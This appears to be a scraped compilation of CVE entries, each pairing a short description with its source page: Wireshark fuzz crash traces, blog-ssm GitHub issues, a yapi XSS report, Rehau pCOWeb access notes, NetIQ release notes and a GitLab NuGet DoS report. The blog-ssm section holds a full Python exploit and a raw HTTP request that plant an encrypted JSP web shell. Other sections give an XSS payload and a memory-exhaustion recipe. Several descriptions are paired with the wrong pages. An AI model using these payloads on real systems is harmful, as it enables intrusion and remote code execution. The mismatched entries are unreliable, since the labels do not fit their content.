GNW dissector crash in Wireshark 4.0.0 to 4.0.2 and 3.6.0 to 3.6.10 and allows denial of service via packet injection or crafted capture file

CVE-2023-0416: Fuzz job crash output: fuzz-2023-01-03-10777.pcap (#18779) · Issues · Wireshark Foundation / wireshark · GitLab

iSCSI dissector crash in Wireshark 4.0.0 to 4.0.2 and 3.6.0 to 3.6.10 and allows denial of service via packet injection or crafted capture file

Skip to content

Open Issue created Jan 11, 2023 by **A Wireshark GitLab Utility@ws-gitlab-utility**Developer

**Fuzz job crash output: fuzz-2023-01-11-10954.pcap**

Problems have been found with the following capture file:

https://www.wireshark.org/download/automated/captures/fuzz-2023-01-11-10954.pcap.gz

stderr:

    Branch: master
    Input file: /var/menagerie/menagerie/13649-hwiscsi.ipv4.rw=read.bs=4k.oio=1.57711.1500.c=10K.pcap.gz
    CI job name: ASan Menagerie Fuzz, ID: 3584468798
    CI job URL: https://gitlab.com/wireshark/wireshark/-/jobs/3584468798
    Return value: 0
    Dissector bug: 0
    Date and time: Wed Jan 11 11:28:33 UTC 2023
    
    Commits in the last 48 hours:
    313fed6d dftest: Add --types option
    70e006fc dftest: Revert to using "->"
    8a4f22be ALP: fix issue #18795 (memory management issues)
    5e3dba3d NAS 5GS: upgrade dissector to v17.9.0
    42f7ee88 LLS: fix msvc warning: possible loss of data
    60912dae LLS: add dissector for ATSC3 Low Level Signalling (LLS) Protocol
    3c9662b1 note that tvb_child_uncompress attaches to parent
    8bf01503 note to use the tvb_child_uncompress* alternative
    95a16270 note need to free return in uncompress functions
    988d4585 ipsec: fix comment
    005ea28d sip: fix leak in uncompress
    0150297d rtps: fix leak in uncompress
    01fda90a mcpe: fix leak in uncompress
    39ee45a0 multipart: fix leak in uncompress
    8461440f gelf: fix leak in uncompress
    f7290f2c mysql: fix leak in uncompress
    e80b2ab5 ALP: add decoders for Link Mapping Table (LMT) and Sony header extensions
    1fc51673 mako: Updated Metamako trailer dissection
    4d38cf9e FAQ: Fix some markup
    56deed1c GTPv2: correction of IE MM Context EPS QQ
    
    Build host information:
    Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
    Distributor ID:	Ubuntu
    Description:	Ubuntu 22.04.1 LTS
    Release:	22.04
    Codename:	jammy
    
    Command and args: /builds/wireshark/wireshark/_install/bin/tshark -2 --log-fatal-domains=UTF-8  -nr
    Running as user "root" and group "root". This could be dangerous.
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==65913==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7efec227e97d bp 0x7ffe75a38c90 sp 0x7ffe75a38448 T0)
    ==65913==The signal is caused by a READ memory access.
    ==65913==Hint: address points to the zero page.
        #0 0x7efec227e97d  (/lib/x86_64-linux-gnu/libc.so.6+0x19d97d) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
        #1 0x55b2713b3739 in strlen (/builds/wireshark/wireshark/_install/bin/tshark+0x64739) (BuildId: 31a56ee39b1468ac12e53d09938420b6de663800)
        #2 0x7efecd2c0d92 in ws_label_strcpy /builds/wireshark/wireshark/epan/strutil.c:821:15
        #3 0x7efecd2c1f77 in ws_label_strcat /builds/wireshark/wireshark/epan/strutil.c:944:12
        #4 0x7efecd164fd3 in col_do_append_str /builds/wireshark/wireshark/epan/column-utils.c:888:14
        #5 0x7efecd16492e in col_append_str /builds/wireshark/wireshark/epan/column-utils.c:899:3
        #6 0x7efecada96d8 in dissect_iscsi_pdu /builds/wireshark/wireshark/epan/dissectors/packet-iscsi.c:866:9
        #7 0x7efecadad465 in dissect_iscsi_pdu /builds/wireshark/wireshark/epan/dissectors/packet-iscsi.c:1558:9
        #8 0x7efecada7a79 in dissect_iscsi /builds/wireshark/wireshark/epan/dissectors/packet-iscsi.c:2503:9
        #9 0x7efecada52fa in dissect_iscsi_handle /builds/wireshark/wireshark/epan/dissectors/packet-iscsi.c:2521:12
        #10 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #11 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #12 0x7efecd1c70a0 in call_dissector_only /builds/wireshark/wireshark/epan/packet.c:3403:8
        #13 0x7efecd17922e in try_conversation_call_dissector_helper /builds/wireshark/wireshark/epan/conversation.c:1579:11
        #14 0x7efecd178caa in try_conversation_dissector /builds/wireshark/wireshark/epan/conversation.c:1613:13
        #15 0x7efecbabb18c in decode_tcp_ports /builds/wireshark/wireshark/epan/dissectors/packet-tcp.c:7200:9
        #16 0x7efecbac40e3 in process_tcp_payload /builds/wireshark/wireshark/epan/dissectors/packet-tcp.c:7364:13
        #17 0x7efecbac1334 in desegment_tcp /builds/wireshark/wireshark/epan/dissectors/packet-tcp.c:4345:9
        #18 0x7efecbabda31 in dissect_tcp_payload /builds/wireshark/wireshark/epan/dissectors/packet-tcp.c:7437:9
        #19 0x7efecbad1ef7 in dissect_tcp /builds/wireshark/wireshark/epan/dissectors/packet-tcp.c:8504:17
        #20 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #21 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #22 0x7efecd1bed73 in dissector_try_uint_new /builds/wireshark/wireshark/epan/packet.c:1526:8
        #23 0x7efecad2060e in ip_try_dissect /builds/wireshark/wireshark/epan/dissectors/packet-ip.c:1822:7
        #24 0x7efecad259e5 in dissect_ip_v4 /builds/wireshark/wireshark/epan/dissectors/packet-ip.c:2328:10
        #25 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #26 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #27 0x7efecd1bed73 in dissector_try_uint_new /builds/wireshark/wireshark/epan/packet.c:1526:8
        #28 0x7efecd1bf7f2 in dissector_try_uint /builds/wireshark/wireshark/epan/packet.c:1550:9
        #29 0x7efeca8d6ac3 in dissect_ethertype /builds/wireshark/wireshark/epan/dissectors/packet-ethertype.c:296:21
        #30 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #31 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #32 0x7efecd1c70a0 in call_dissector_only /builds/wireshark/wireshark/epan/packet.c:3403:8
        #33 0x7efecd1bb804 in call_dissector_with_data /builds/wireshark/wireshark/epan/packet.c:3416:8
        #34 0x7efeca8d3703 in dissect_eth_common /builds/wireshark/wireshark/epan/dissectors/packet-eth.c:596:5
        #35 0x7efeca8d2257 in dissect_eth /builds/wireshark/wireshark/epan/dissectors/packet-eth.c:902:5
        #36 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #37 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #38 0x7efecd1c70a0 in call_dissector_only /builds/wireshark/wireshark/epan/packet.c:3403:8
        #39 0x7efeca975249 in dissect_frame /builds/wireshark/wireshark/epan/dissectors/packet-frame.c:1018:6
        #40 0x7efecd1ca3da in call_dissector_through_handle /builds/wireshark/wireshark/epan/packet.c:822:9
        #41 0x7efecd1bf435 in call_dissector_work /builds/wireshark/wireshark/epan/packet.c:920:9
        #42 0x7efecd1c70a0 in call_dissector_only /builds/wireshark/wireshark/epan/packet.c:3403:8
        #43 0x7efecd1bb804 in call_dissector_with_data /builds/wireshark/wireshark/epan/packet.c:3416:8
        #44 0x7efecd1bafea in dissect_record /builds/wireshark/wireshark/epan/packet.c:626:3
        #45 0x7efecd18dc18 in epan_dissect_run_with_taps /builds/wireshark/wireshark/epan/epan.c:638:2
        #46 0x55b271487615 in process_packet_second_pass /builds/wireshark/wireshark/tshark.c:3273:9
        #47 0x55b271485699 in process_cap_file_second_pass /builds/wireshark/wireshark/tshark.c:3417:13
        #48 0x55b27147fc79 in process_cap_file /builds/wireshark/wireshark/tshark.c:3721:34
        #49 0x55b271479418 in main /builds/wireshark/wireshark/tshark.c:2252:22
        #50 0x7efec210ad8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
        #51 0x7efec210ae3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
        #52 0x55b27139c6c4 in _start (/builds/wireshark/wireshark/_install/bin/tshark+0x4d6c4) (BuildId: 31a56ee39b1468ac12e53d09938420b6de663800)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x19d97d) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d) 
    ==65913==ABORTING
    
    fuzz-test.sh stderr:
    Running as user "root" and group "root". This could be dangerous.

_no debug trace_

CVE-2023-0415: Fuzz job crash output: fuzz-2023-01-11-10954.pcap (#18796) · Issues · Wireshark Foundation / wireshark · GitLab

A use-after-free flaw was found in io_uring/filetable.c in io_install_fixed_file in the io_uring subcomponent in the Linux Kernel during call cleanup. This flaw may lead to a denial of service.

'2163723?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2023-0469: Invalid Bug ID

An issue discovered in Rawchen blog-ssm v1.0 allows remote attacker to escalate privileges and execute arbitrary commands via the component /upFile.

**Unrestricted Upload of File with Dangerous Type In /upFile****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.**

**Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp**

**EXP:**

import requests

\# Configure the target URL.
Host \= "localhost:8081"
Path \= "upFile"
Url \= "http://{Host}/{Path}".format(Host\=Host, Path\=Path)
\# Configure Headers.
Headers \= {"sec-ch-ua-mobile": "?0",
           "sec-ch-ua-platform": "\\"Windows\\"",
           "Upgrade-Insecure-Requests": "1",
           "Origin": "http://{Host}".format(Host\=Host),
           "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/104.0.0.0 Safari/537.36",
           "Connection": "close"}
\# Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload,
\# and the encryptor is JAVA\_AES\_BASE64.
Data \= "------WebKitFormBoundaryNOyNFd8trb922Qzd\\r\\nContent-Disposition: form-data; name=\\"editormd-image-file\\"; " \\
       "filename=\\"text.jsp\\"\\r\\n" \\
       "Content-Type: image/jpeg\\r\\n\\r\\n" \\
       "<%! String xc=\\"3c6e0b8a9c15224a\\"; String pass=\\"pass\\"; String md5=md5(pass+xc); class X extends " \\
       "ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, " \\
       "cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \\
       "\\"AES\\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\\"AES\\"));return c.doFinal(s); }catch " \\
       "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {" \\
       "java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\\"MD5\\");m.update(s.getBytes(), 0, " \\
       "s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {" \\
       "}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = " \\
       "null;try {base64=Class.forName(\\"java.util.Base64\\");Object Encoder = base64.getMethod(\\"getEncoder\\", " \\
       "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\\"encodeToString\\", new Class\[\] { " \\
       "byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName(" \\
       "\\"sun.misc.BASE64Encoder\\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \\
       ").getMethod(\\"encode\\", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception " \\
       "e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] " \\
       "value = null;try {base64=Class.forName(\\"java.util.Base64\\");Object decoder = base64.getMethod(" \\
       "\\"getDecoder\\", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod(\\"decode\\", " \\
       "new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { " \\
       "base64=Class.forName(\\"sun.misc.BASE64Decoder\\"); Object decoder = base64.newInstance(); value = (byte\[" \\
       "\])decoder.getClass().getMethod(\\"decodeBuffer\\", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { " \\
       "bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(" \\
       "pass));data=x(data, false);if (session.getAttribute(\\"payload\\")==null){session.setAttribute(\\"payload\\"," \\
       "new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\\"parameters\\"," \\
       "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \\
       "Class)session.getAttribute(\\"payload\\")).newInstance();f.equals(arrOut);f.equals(" \\
       "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \\
       "base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \\
       "Exception e){}\\r\\n%>\\r\\n" \\
       "------WebKitFormBoundaryNOyNFd8trb922Qzd--\\r\\n"
response \= requests.post(Url, headers\=Headers, data\=Data)
\# Output WebShell address and connection information.
Path \= response.json()\['url'\]
Url \= "http://{Host}{Path}".format(Host\=Host, Path\=Path)
print("Web\_Shell\_Url:{Url}".format(Url\=Url))
print("Web\_Shell\_Key:{Key}".format(Key\="key"))
print("Web\_Shell\_Pass:{Pass}".format(Pass\="pass"))
print("Web\_Shell\_Payload:{Payload}".format(Payload\="JavaDynamicPayload"))
print("Web\_Shell\_Encryptor:{Encryptor}".format(Encryptor\="JAVA\_AES\_BASE64"))

**Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

CVE-2022-40037: Unrestricted Upload of File with Dangerous Type In /upFile · Issue #2 · rawchen/blog-ssm

File Upload Vulnerability found in Rawchen Blog-ssm v1.0 allowing attackers to execute arbitrary commands and gain escalated privileges via the /uploadFileList component.

**Unrestricted Upload of File with Dangerous Type In /uploadFileList****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:Registered account, username: text123, password: 123456.**

**Step2:Log in to the account you just registered and click "File Management".**

**Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.**

**Data Pack**

POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files\[\]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod("decode", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte\[\])decoder.getClass().getMethod("decodeBuffer", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%\>
-----------------------------352203683622881217472510347558--

**Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.**

**Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

CVE-2022-40035: Unrestricted Upload of File with Dangerous Type In /uploadFileList · Issue #3 · rawchen/blog-ssm

An issue was discovered in Rawchen blog-ssm v1.0 allows an attacker to obtain sensitive user information by bypassing permission checks via the /adminGetUserList component.

**Improper Authorization In /adminGetUserList****\[Suggested description\]**

blog-ssm v1.0 was found to contain an unauthorized access vulnerability through the component /adminGetUserList. This vulnerability allows an attacker to obtain sensitive user information by bypassing permission checks.

**\[Vulnerability Type\]**

Improper Authorization of Index Containing Sensitive Information

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:After a code audit, it was found that /adminGetUserList had unauthorized access and exported sensitive user information, such as account names and passwords.**

**Step2:Registered account, username: text123, password: 123456.**

**Step3:Log in to the account you just registered and access /adminGetUserList to obtain sensitive information such as password.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

False

**\[Reference(s)\]**

https://cwe.mitre.org/data/definitions/285.html

CVE-2022-40036: Improper Authorization In /adminGetUserList · Issue #5 · rawchen/blog-ssm

Cross Site Scripting (XSS) vulnerability in yapi 1.9.1 allows attackers to execute arbitrary code via the /interface/api edit page.

**版本号**

~ 1.9.1

**什么问题**

~Stored XSS in remarks of the interface

**如何复现此问题**

~ Demo: https://yapi.baidu.com

1.  Create a group after login:  
    
2.  Then create a new project:  
    
3.  Enter the project, and add an interface:  
    
4.  After adding successfully, enter the interface edit page:  
    
5.  Scroll down to the remark module. Insert the payload:  
    <? =><video src=x onerror=alert(document.domain)>  
    
6.  After saving, return to the group. Click on the member list and add the username we want to attack. (There is no need for confirmation from the target user, as long as the user name is correct, the target user can be added to the project. Here we use another account to test.)  
    
7.  After the victim logged into the system, he found that he was added to a group:  
    
8.  He entered the group, viewed the project interface, entered the edit page, and triggered the XSS Payload inserted by the attacker.  
    

**什么浏览器**

~ Firefox Chrome

**什么系统（Linux, Windows, macOS）**

macOS

CVE-2021-36686: Stored XSS in remarks of the interface · Issue #2190 · YMFE/yapi

An issue was discovered in Rehau devices that use a pCOWeb card BIOS v6.27, BOOT v5.00, web version v2.2, allows attackers to gain full unauthenticated access to the configuration and service interface.

**About Carel pCOWeb**

_The_ **_pCOWeb card_** _is used to interface the pCO Sistema to networks that use the HVAC protocols based on the Ethernet physical standard, such as BACnet IP, Modbus TCP/IP and SNMP._

_The card also features an integrated Web-Server, which both contains the HTML pages relating to the specific application and allows a browser to be used for remote system management._

_The embedded LINUX operating system allows applications (plug-ins) to be added, developed directly by users to meet their own requirements._

**Unauthenticated access to Rehau pCOWeb web interface**

Rehau devices that use pCOWeb service are accessible on various ports, but most common configurations were using 8080, 80, 443, 7777, 9002 and 10000. By typing in a web browser the **_http://<target ip>:<port>/http/_** you will we redirected to the

**_http://<target ip>:<port>/http/default.html_**

and receive full unauthenticated access to the configuration and service interface.

**Directory listing and source code disclosure**

By crawling the pCOWeb web interface other sensitive directories like **scripts and admin** can be accessed:

And the files inside the script directory are disclosing the source code like in the example below:

**Attack surface**

Using Shodan a number of 31 vulnerable devices were discovered, most of them in Hungary and Romania.

**Remedy and risk mitigation**

Since in the **_BIOS v6.27 / BOOT v5.00 / Web version v2.2_** of the web interface there was no way to enable user authentication, the only recommendations are to deny any access to the pCOWeb service ports from WAN (if port-forwarding is enabled to allow remote configuration, then is a good idea to disable port-forwarding to the pCOWeb devices).

CVE-2020-18329: Insecure permissions in REHAU Group Unlimited Polymer Solutions implementation of Carel pCOWeb configuration tool exposes heating and temperature control systems to remote attackers.

Cross-site Scripting (XSS) vulnerability in NetIQ iManager prior to version 3.2.6 allows attacker to execute malicious scripts on the user's browser. This issue affects: Micro Focus NetIQ iManager NetIQ iManager versions prior to 3.2.6 on ALL.

February 2022

NetIQ iManager 3.2 SP6 resolves previous issues. Many of these improvements were made in direct response to suggestions from our customers. We thank you for your time and valuable input. We hope you continue to help us ensure our products meet all your needs. You can post feedback in the iManager Community Support Forums, our community Web site that also includes product notifications, blogs, and product user groups.

For a full list of all issues resolved in NetIQ iManager 3.x, including all patches and service packs, refer to TID 7016795, “History of Issues Resolved in NetIQ iManager 3.x”.

For more information about this release and for the latest release notes, see the iManager Documentation Web site. To download this product, see the Software License and Download portal.

*   What’s New
    
*   System Requirements
    
*   Installing or Upgrading
    
*   Known Issues
    
*   Legal Notice
    

**1.0 What’s New**

iManager 3.2 SP6 provides the following enhancements and fixes in this release:

*   Operating System Support
    
*   Updates for Dependent Components
    
*   Fixed Issues
    

**1.1 Operating System Support**

In addition to the platforms supported in previous releases of iManager, this release adds support for the following:

*   Red Hat Enterprise Linux (RHEL) 8.5
    
*   Windows Server 2022
    

**1.2 Updates for Dependent Components**

This release adds support for the following third-party components:

*   Azul Zulu 1.8.0\_312
    
*   Apache Tomcat 9.0.55-1
    
*   OpenSSL 1.0.2za
    
*   Log4j 2.17.1
    

**1.3 Fixed Issues**

This release includes the following software fixes that resolve several previous issues:

**Resolved Security Vulnerabilities**

This version of iManager resolves security vulnerability CVE-2021-38134. Special thanks to Kajetan Rostojek for responsibly disclosing the information about CVE-2022-38758 to us.

**Occasional Delay When Loading Pages on the iManager User Interface After Upgrading to iManager 3.2.5**

_Fix:_ With the latest version of Tomcat 9.0.55-1 bundled with iManager 3.2.6, there is no longer any delay while loading the pages on the iManager User Interface.(Defect 440043)

**Connection Timeout Issue Seen When Modifying Directory Objects or Using Plug-Ins**

_Fix:_ With the latest version of Tomcat 9.0.55-1 bundled with iManager 3.2.6, there is no longer any delay while navigating the pages or browsing objects on the iManager User Interface. (Defect 448035)

**2.0 System Requirements**

For information about prerequisites, computer requirements, installation, upgrade or migration, see Planning to Install iManager in the NetIQ iManager Installation Guide.

_NOTE:_iManager uses the modified version of XULRunner on Windows. The source code for the modified XULRunner is available under the Mozilla Public License version 2.0. If you need further assistance with any issue, contact Technical Support.

**3.0 Installing or Upgrading**

To upgrade to iManager 3.2 SP6, you need to be on iManager 2.7.7 P11 or higher.

For more information on upgrading to iManager 3.2 SP6, see the NetIQ iManager Installation Guide.

IMPORTANT:

*   This version of iManager supports only eDirectory 9.2.6 or above when both are installed on the same machine. If you are upgrading iManager 2.7.7 P11 to 3.2 SP6, ensure that your eDirectory is also upgraded to 9.2.6 before upgrading iManager.
    
*   When you install or upgrade to iManager 3.2 SP6, a new imanager\_logging.xml file is created that includes the latest log4j 2.17.1 capabilities. During the upgrade process, the existing imanager\_logging.xml file is replaced with a new one. As a result, the previous audit settings are lost. To allow auditing for iManager events, you must configure the audit settings again in the new imanager\_logging.xml file after the upgrade. Make sure to take a backup of the existing file in a different location before performing the upgrade. For more information, see Auditing iManager Events in the NetIQ iManager Administration Guide.
    

**4.0 Known Issues**

NetIQ Corporation strives to ensure our products provide quality solutions for your enterprise software needs. There are no new issues other than the issues mentioned in the NetIQ iManager 3.2 SP5 Release Notes. If you need further assistance with any issue, please contact Technical Support.

**4.1 iManager Workstation Does Not Work on SLED 12 SP3, SLED 15, OpenSUSE Leap 42.3, OpenSUSE 13.2, and Onward**

_Workaround:_ To workaround this issue, launch iManager using the iManager.sh command and access the workstation through another browser via the URL: http://localhost:8080/nps. The port number can differ. You can find the port number in the iManager.log file located at <extracted\_directory>/imanager/bin/iManager.log location.

**5.0 Legal Notice**

For information about legal notices, trademarks, disclaimers, warranties, export and other use restrictions, U.S. Government rights, patent policy, and FIPS compliance, see https://www.netiq.com/company/legal/.

Copyright © 2022 NetIQ Corporation, a Micro Focus company. All Rights Reserved.

CVE-2022-38758: NetIQ iManager 3.2 Service Pack 6 Release Notes

An issue has been discovered in GitLab affecting all versions starting from 12.8 before 15.4.6, all versions starting from 15.5 before 15.5.5, all versions starting from 15.6 before 15.6.1. It was possible to trigger a DoS attack by uploading a malicious nuget package.

Skip to content

Open Issue created Oct 13, 2022 by **GitLab SecurityBot@gitlab-securitybot**Reporter

**Sidekiq background job DoS by uploading malicious Nuget packages**

**HackerOne report #1716296** by luryus on 2022-09-29, assigned to GitLab Team:

Report | Attachments | How To Reproduce

**Report****Summary**

By uploading a crafted malicious Nuget package, an attacker can cause sidekiq to use too much memory and crash (get killed by OOMKiller in Linux). In small (self-hosted) Gitlab environments, where there's only a single Sidekiq node, this will cause some background jobs to fail and their execution will get delayed. For instance, the CI pipelines of other users may get interrupted. In other words, this can cause minor denial of service.

When an user uploads a Nuget package, Gitlab will extract its metadata in a sidekiq background job. This extraction is done by unzipping the .nuspec file from the nupkg package (they are plain old zip archives). The metadata extraction job first checks the nuspec file size in the zip file metadata, to avoid trying to read too large nuspec files. If this check succeeds, the job will continue to extract the nuspec file into memory with no further size checks or limits.

An attacker can freely alter the metadata in the zip file and change the "uncompressed size" attribute of the nuspec file. They might, for example, create a nupkg file with a 20-gigabyte nuspec file, and alter the metadata such that the "uncompressed size" is 256 bytes. When this kind of file would be uploaded to Gitlab, the extraction worker job would try to allocate a 20 gigabyte buffer for extracting the file. In most smaller environments this would lead to sidekiq getting killed.

Because the attacker only needs to upload a single, small (a few megabyte) file to achieve this, it's difficult or impossible to mitigate this with rate limits. The attacker can even upload the same file repeatedly without triggering rate limits (e.g. every 5-10 seconds) to continuously cause crashes.

**Steps to reproduce**

1.  Make sure that Nuget package repository is enabled in the Gitlab instance
2.  Install dotnet sdk locally
3.  Create a personal project in gitlab
4.  Locally, setup a nuget source for pushing to the new project (replace username, access token, gitlab instance url and project id):
    
        dotnet nuget add source -n "gitlab-nuget-test" -u <username> -p <personal_access_token>  "http://<gitlab-url>/api/v4/projects/<project_id>/packages/nuget/index.json" --store-password-in-clear-text   
    
5.  Craft a malicious nuget package, for example with these steps (Linux commands):
    
        # Create a big empty file. Here a 20 gig file is created, but this can be increased too if the sidekiq instance  
        # has a lot of memory  
        touch 20gig.nuspec  
        fallocate -z -l 20GiB 20gig.nuspec  
          
        # Zip it  
        zip -9 20gig.nupkg 20gig.nuspec  
          
        # Run the attached python script to change the "uncompressed size" attributes  
        python3 rewrite_size.py 20gig.nupkg  
    
6.  Upload the crafted package to gitlab
    
        dotnet nuget push -s gitlab-nuget-test --interactive 20gig.nupkg  
    
7.  Observe Sidekiq crashes due to OOMKills in Gitlab server logs.

**Impact**

